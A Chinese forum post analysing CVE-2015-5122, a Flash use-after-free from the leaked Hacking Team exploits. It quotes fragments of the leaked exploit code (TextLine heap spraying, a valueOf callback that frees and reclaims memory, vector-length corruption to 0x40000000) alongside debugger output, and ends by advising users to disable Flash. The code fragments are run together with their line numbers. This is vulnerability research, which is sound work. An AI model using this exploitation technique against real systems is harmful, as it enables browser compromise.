阅读:3143回复:0
Hacking Team攻击代码分析Part 4: Flash 0day漏洞 CVE-2015-5122
◆0 前言
前几天我们分析了Hacking Team泄露数据中的3个exploit,包括一个flash 0day,一个flash nday和一个windows字体提权0day。昨天Adobe在发布了最新的flash版本(18.0.0.203),修补了其中的flash 0day(CVE-2015-5119)。然而今天twitter上面又有研究者爆猛料,称Hacking Team泄露数据中还有一个未修补的flash 0day,在最新的flash版本中仍然可以触发。Adobe随后也发布了对应的安全公告APSA15-04,漏洞的CVE编号为:CVE-2015-5122。影响Windows、MacOSX和Linux平台上的IE、Chrome浏览器等主流浏览器。 图片:2015071110191992383.jpg 我们经过分析,确认这确实又是一个新的flash 0day,漏洞成因是DisplayObject在设置opaqueBackground属性时,没有正确处理可能发生的回调(又是valueOf,是在下输了),而产生的Use After Free漏洞。本文将分析这个漏洞的成因和利用方式。 ◆1 漏洞原理分析 出问题的函数是DisplayObject对象的opaqueBackground属性设置函数: 我们来看一下HackingTeam泄露的exploit代码,关键部分如下: #!c++1 for(i=_arLen1; i < _arLen2; i++)2 _ar = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object)3 for(i=_arLen1; i < _arLen2; i++)4 _ar.opaqueBackground = 1; // alloc 1016 bytes在这个过程中会每个TextLine Object内部会分配0x390大小的对象,对象分配的代码在: 1 .text:1025DC71 push 12 .text:1025DC73 push eax3 .text:1025DC74 push 390h4 .text:1025DC79 call operator_new2调试过程中分配的0x390内部对象地址: Allocate 0x390 object:04cbc810Allocate 0x390 object:0513c810Allocate 0x390 object:0513cc08Allocate 0x390 object:05d94020Allocate 0x390 object:05d94418Allocate 0x390 object:05d94810Allocate 0x390 object:05d94c08Allocate 0x390 object:05d95020Allocate 0x390 object:05d95418Allocate 0x390 object:05d95810Allocate 0x390 object:05d95c08Allocate 0x390 object:05d96020Allocate 0x390 object:05d96418Allocate 0x390 object:05d96810Allocate 0x390 object:05d96c08Allocate 0x390 object:05d97020Allocate 0x390 object:05d974182 设置opaqueBackground,触发valueOf函数调用: 1 MyClass.prototype.valueOf = valueOf2;23 // here we go, call the vulnerable setter4 _cnt = _arLen2-6;5 _ar[_cnt].opaqueBackground = _mc;和之前两个漏洞一样,exploit定义了自己的类,设置valueOf函数,然后在opaqueBackground的设置函数中,我们可以看到有一个将传入的参数转换为integer的过程,这个调用触发了MyClass的valueOf函数: .text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj.text:1025DD4C push ebx.text:1025DD4D push [esp+10h+param].text:1025DD51 call ?integer@AvmCore@avmplus@@SAHH@Z ; avmplus::AvmCore::integer(int)3 在valueOf函数中,释放TextLine Object,并使用vector占位 #!c++01 static function valueOf2()02 {03 try04 {05 if (++_cnt < _arLen2) {06 // recursive call for next TextLine07 _ar[_cnt].opaqueBackground = _mc;08 }else{09 Log("MyClass.valueOf2()");1011 // free internal objects12 for(var i:int=1; i dd esi05d97020 0000006204cb3000 00000037 00000000Esi指向已经被释放的0x390大小对象(0x5d97020),可以参考前面分配时记录的对象地址,很容易看出这是其中一个0x390对象。写入的是esi+0x320处,可以看到已经被vector占用,并且指向某个vector的长度字段(0x62)。 写操作完成后,vector长度被篡改为0x6a: 0:006> p0:006> dd esi+320 L405d97340 0000006a 04cb3000 00000039 00000000之后exploit再利用这个稍微变长了一点点的vector,修改紧邻的下一个vector的长度为0x40000000: 0:006> dd 5D974D0L405d974d0 40000000 04fc3000 0000003a 00000000◆2 漏洞防范 由于该漏洞利用非常稳定,而Adobe暂时没有发布该漏洞的补丁,我们建议补丁发布之前,可以暂时先禁用flash插件。 |
|